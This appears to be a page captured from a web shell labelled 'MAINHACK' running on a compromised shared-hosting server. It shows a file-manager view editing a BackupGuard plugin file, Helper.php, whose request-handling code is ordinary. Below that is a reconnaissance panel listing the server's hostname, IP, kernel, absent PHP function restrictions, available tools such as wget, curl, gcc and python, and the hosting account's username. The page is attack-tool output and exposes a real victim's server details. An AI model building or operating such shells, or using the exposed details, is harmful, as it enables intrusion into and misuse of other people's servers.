[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Helper.php
<?php namespace BackupGuard; require_once(dirname(__FILE__).'/Exception/BadRequest.php'); require_once(dirname(__FILE__).'/Exception/Forbidden.php'); require_once(dirname(__FILE__).'/Exception/InternalServerError.php'); require_once(dirname(__FILE__).'/Exception/MethodNotAllowed.php'); require_once(dirname(__FILE__).'/Exception/NotFound.php'); require_once(dirname(__FILE__).'/Exception/Unauthorized.php'); require_once(dirname(__FILE__).'/Config.php'); require_once(dirname(__FILE__).'/RequestHandler.php'); require_once(dirname(__FILE__).'/Response.php'); require_once(SG_REQUEST_PATH.'SGRequest.php'); require_once(SG_REQUEST_PATH.'SGResponse.php'); class Helper { public static function requiredParam($name, $var) { if (is_null($var)) { throw new BadRequestException("Missing required argument: ".$name, 400); } } public static function requiredParamInArray($arr, $key) { $var = null; if (is_array($arr) && isset($arr[$key])) { $var = $arr[$key]; } self::requiredParam($key, $var); } private static function prepareRequest($path, $params = array(), $headers = array()) { $url = Config::URL.$path; $request = RequestHandler::createRequest($url); $request->setParams($params); $request->setHeaders($headers); return $request; } public static function sendPostRequest($path, $params = array(), $headers = array()) { // $request = self::prepareRequest($path, $params, $headers); // return $request->post(); $url = Config::URL.$path; $request = \SGRequest::getInstance(); $request->setUrl($url); $request->setHeaders($headers); $request->setParams($params); $request->setGetWithQueryParams(false); return $request->sendPostRequest(); } public static function sendGetRequest($path, $params = array(), $headers = array()) { // $request = self::prepareRequest($path, $params, $headers); // return $request->get(); $url = Config::URL.$path; $request = \SGRequest::getInstance(); $request->setUrl($url); $request->setHeaders($headers); $request->setParams($params); $request->setGetWithQueryParams(false); return $request->sendGetRequest(); } public static function sendRequest($path, $type, $params = array(), $headers = array()) { $url = Config::URL.$path; $request = \SGRequest::getInstance(); $request->setUrl($url); $request->setHeaders($headers); $request->setParams($params); $request->setGetWithQueryParams(false); return $request->sendRequest($type); } public static function validateResponse($response) { if (!$response instanceof \SGResponse) { throw new MethodNotAllowedException(); } $code = (int)$response->getHttpStatus(); $error = $response->getBodyParam('error'); $errorMessage = $error&&isset($error['message'])?$error['message']:null; //sometimes 'error' is just a string if ($error && !$errorMessage) { $errorMessage = $error; } switch ($code) { case 405: throw new MethodNotAllowedException($errorMessage, $code); case 400: throw new BadRequestException($errorMessage, $code); case 404: throw new NotFoundException($errorMessage, $code); case 500: throw new InternalServerErrorException($errorMessage, $code); case 403: throw new ForbiddenException($errorMessage, $code); case 401: throw new UnauthorizedException($errorMessage, $code); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.78 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830